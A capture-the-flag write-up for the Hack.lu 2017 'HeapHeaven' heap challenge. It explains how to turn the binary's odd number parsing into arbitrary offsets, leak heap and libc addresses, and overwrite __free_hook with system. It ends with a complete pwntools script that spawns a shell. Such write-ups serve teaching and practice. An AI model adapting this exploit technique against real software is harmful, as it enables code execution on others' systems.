Hack.lu 2017 HeapHeaven Write up

I was busy with some other stuff and didn’t get a chance to try out this challenge. One of my team-mates was trying it out, but he couldn’t finish the exploit in time.

So, I tried the challenge after the CTF and here’s the write up.

Here’s the protections enabled on the binary

CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL

This is again a menu driven program that allocates chunks on the heap with functionalities like add, remove, edit and view.

The program starts off by allocating a chunk of size 10 on the heap whose address is stored in a global variable.

The peculiarity of this binary is that it uses a parse_num function to get integer values from the user. The parse_num function parses a 256 length string and returns a 64 bit value.

It does this by using a counter to count the number of some characters are present in the string. If the character ‘w’ is present in an even offset, then the value of counter is doubled. And if the character ‘i’ is present at an odd offset, right after ‘w’, then the counter is incremented by 1. Using a combination of ‘w’ and ‘i’, we can control the return value of parse_num.

Now, the other peculiarity of this binary is that, it reads in input by asking an offset from the user. The input is being read in by a function that is similar to a gets function. The offset is taken from the first chunk that was allocated and stored in the global variable.

Similarly, the view functionality prints out a string at an offset specified by the user and the remove functionality free’s a chunk at an offset which is user specified.

Since parse_num returns a 64 bit value, we can access any address in the process’s memory space provided we have some memory leaks first.

Getting memory leaks in this case shouldn’t be an issue.

Once we have a memory leak of the heap and the libc, we can calculate the offset to __free_hook and edit its value to system.

Once that is done, all that’s left is to free a chunk which contains ‘/bin/sh’ which will lead to system being invoked with the same.

Here’s the script.

from pwn import *

prompt = 'NOM-NOM\n'
a, v, e, r = 'whaa!', 'mommy?', '<spill>', 'NOM-NOM'


def get_string(size):
    payload = ''
    val = size
    while val > 0:
        if val % 2 == 0 and val/2 > 0:
            payload += 'aw'
        elif val % 2 == 1 and val/2 > 0:
            payload += 'iw'
        val = val/2
    payload += 'iw'
    retval = payload[::-1]
    if retval[-1] == 'a' and retval[-2] == 'w':
        retval = retval[:-1]
    return retval


def allocate(size):
    p.sendlineafter(prompt, a)
    p.sendlineafter('darling...\n', get_string(size))


def view(offset):
    p.sendlineafter(prompt, v)
    p.sendline(get_string(offset))
    p.recvuntil('darling: ')
    return p.recvline().strip('\n')


def edit(offset, payload):
    p.sendlineafter(prompt, e)
    p.sendlineafter('?\n', get_string(offset))
    p.sendlineafter('!\n', payload)


def remove(offset):
    p.sendlineafter(prompt, r)
    p.sendline(get_string(offset))


if __name__ == '__main__':
    p = process('./HeapHeaven', env={'LD_PRELOAD': './libc.so.6'})
    libc = ELF('./libc.so.6')
    allocate(10)
    allocate(0x80)
    allocate(10)
    remove(0x20)
    remove(0x40)
    remove(0xd0)
    heap = u64(view(0xd0).ljust(8, '\x00')) - 0x10
    log.success('Leaked heap @ {}'.format(hex(heap)))
    libc.address = u64(view(0x40).ljust(8, '\x00')) - 0x3c4b78
    log.success('Leaked libc @ {}'.format(hex(libc.address)))
    offset = libc.symbols['__free_hook'] - heap
    log.progress('Offset => {}'.format(hex(offset)))
    allocate(10)
    edit(0xd0, '/bin/sh\x00')
    edit(offset, p64(libc.symbols['system']))
    remove(0xd0)
    p.recvline()
    p.interactive()